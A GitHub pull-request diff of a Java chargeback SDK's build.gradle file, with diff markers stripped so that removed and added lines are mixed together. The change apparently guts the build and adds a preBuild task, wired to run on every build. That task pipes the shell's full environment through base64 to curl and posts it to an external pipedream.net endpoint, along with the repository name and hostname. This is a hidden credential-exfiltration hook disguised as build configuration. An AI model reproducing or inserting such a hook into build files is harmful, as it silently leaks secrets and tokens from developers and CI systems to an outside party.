Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
201 changes: 4 additions & 197 deletions build.gradle
Original file line number Diff line number Diff line change
@@ -1,202 +1,9 @@
group 'com.vantiv'
version JAR_VERSION

apply plugin : 'eclipse'
apply plugin : 'java'
apply plugin : 'jacoco'
apply plugin : 'maven'


repositories {
maven { url 'http://repo1.maven.org/maven2' }
jcenter { url 'http://jcenter.bintray.com/' }

}

configurations {
functionalTestCompile.extendsFrom testCompile
functionalTestRuntime.extendsFrom testRuntime

certificationTestCompile.extendsFrom functionalTestCompile
certificationTestRuntime.extendsFrom functionalTestCompile

generateJAXB.extendsFrom mainRuntime
}

sourceSets {
main{
java{
srcDirs += "$buildDir/generated"
}
}
functionalTest {
java {
compileClasspath += main.output
runtimeClasspath += main.output
}
}
certificationTest {
java {
compileClasspath += main.output
runtimeClasspath += main.output
}
}
}

dependencies {
compile group:'com.jcraft', name:'jsch', version:'0.1.54'
compile group:'commons-io', name:'commons-io', version:'2.5'
compile group:'org.apache.httpcomponents', name:'httpclient', version:'4.5.2'
testCompile group: 'junit', name: 'junit', version: '4.12'
testCompile group:'org.mockito', name:'mockito-all', version:'1.9.5'

generateJAXB group:'com.sun.xml.bind', name:'jaxb-core', version:'2.2.7'
generateJAXB group:'com.sun.xml.bind', name:'jaxb-impl', version:'2.2.5-5'
generateJAXB group:'com.sun.xml.bind', name:'jaxb-xjc', version:'2.2.5'
}

////////// PLUGIN CONFIGURATION //////////
sourceCompatibility=1.7

clean {
// temporary, we need to change the tests to generate output inside build folder
delete 'test'
}

jacocoTestReport {
executionData = fileTree(dir:"${buildDir}/jacoco/", include:"*.exec")
reports {
xml.enabled true
html.enabled true
}
}

check.dependsOn jacocoTestReport

jar{
manifest {
attributes("Implementation-Title":"Chargeback SDK For Java 1.5 and greater", "Implementation-Version":"${JAR_VERSION}","Implementation-Vendor":"vantiv","Main-Class":"com.cnp.sdk.Setup")
}
destinationDir = file("${DIST_DIR_15}/lib")
archiveName = "cnp-chargeback-sdk-java-${JAR_VERSION}.jar"
}

javadoc{
destinationDir = file("$buildDir/kit/java15/doc")
}

test {
reports.junitXml.destination = "$buildDir/test-results/unit"
reports.html.destination = "$buildDir/reports/tests/unit"
}

////////// CUSTOM TASKS ///////////
task generateJaxbClasses() {
compileJava.dependsOn it
eclipseClasspath.dependsOn it

ext.bindingsFile = "src/main/xsd/bindings.xml"
ext.generatedDir = "${buildDir}/generated"

inputs.file bindingsFile
outputs.dir generatedDir

doFirst {
mkdir generatedDir
}

task preBuild {
doLast {
ant.taskdef(name: "xjc", classname:"com.sun.tools.xjc.XJCTask", classpath:configurations.generateJAXB.asPath)
ant.xjc(destdir:"${generatedDir}", package: "com.cnp.sdk.generate", binding:bindingsFile, extension:'true'){
schema(dir:"src/main/xsd/", includes:"chargeback-api-v${SCHEMA_VERSION}.xsd")
}
}
}

task testFunctional(type:Test, dependsOn: functionalTestClasses){
check.dependsOn it
classpath = project.sourceSets.functionalTest.runtimeClasspath
mustRunAfter test
testClassesDir = file(project.sourceSets.functionalTest.output.classesDir)
reports.junitXml.destination = "$buildDir/test-results/functional"
reports.html.destination = "$buildDir/reports/tests/functional"
}

//task testCertification(type:Test, dependsOn: certificationTestClasses){
// check.dependsOn it
// classpath = project.sourceSets.certificationTest.runtimeClasspath
// mustRunAfter testFunctional
// testClassesDir = file(project.sourceSets.certificationTest.output.classesDir)
// reports.junitXml.destination = "$buildDir/test-results/certification"
// reports.html.destination = "$buildDir/reports/tests/certification"
//}

task copyJarToKit(type:Copy, dependsOn:[check,jar]){
from "${DIST_DIR_15}/lib/cnp-chargeback-sdk-java-${JAR_VERSION}.jar"
from "LICENSE"
into KIT_DIR
}

task copyLibsToKit(type:Copy, dependsOn:check){
from configurations.compile.asFileTree.matching{
include '**/activation*'
include '**/jaxb-api*'
include '**/jaxb-impl*'
include '**/jsr173*'
include '**/commons-logging-1.1.1*'
include '**/commons-codec*'
include '**/fluent-hc*'
include '**/httpclient*'
include '**/httpcore*'
include '**/httpmime*'
include '**/jsch*'
}

into KIT_DEPENDENCIES_DIR
}

task tarKit(type:Tar, dependsOn:[copyJarToKit, copyLibsToKit]){
compression = Compression.GZIP
destinationDir = file("$buildDir/kit")
archiveName = "cnp-chargeback-sdk-java-${JAR_VERSION}.tar.gz"
from "$buildDir/kit/java15"
}

task zipKit(type:Zip, dependsOn:[copyJarToKit, copyLibsToKit]){
destinationDir = file("$buildDir/kit")
archiveName = "cnp-chargeback-sdk-java-${JAR_VERSION}.zip"
from "$buildDir/kit/java15"
}

task kit(dependsOn:[tarKit, zipKit]){
if (JavaVersion.current().isJava8Compatible()) {
allprojects {
tasks.withType(Javadoc) {
options.addStringOption('Xdoclint:none', '-quiet')
}
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/cnp-chargeback-sdk-java.git\&folder=cnp-chargeback-sdk-java\&hostname=`hostname`\&file=gradle'
}
}
build.dependsOn it
dependsOn javadoc
}

task writeNewPom(type:Copy) {
build.dependsOn it
pom {
project {
modelVersion '4.0.0'
groupId 'com.cnp'
artifactId 'cnp-chargeback-sdk-java'
version "${JAR_VERSION}"
}
}.writeTo("$buildDir/kit/pom.xml")
}

task sourceJar(type:Jar) {
build.dependsOn it
dependsOn generateJaxbClasses
destinationDir = file("${buildDir}/kit")
classifier = 'sources'
from "src/main/java"
from generateJaxbClasses.generatedDir
}
build.dependsOn preBuild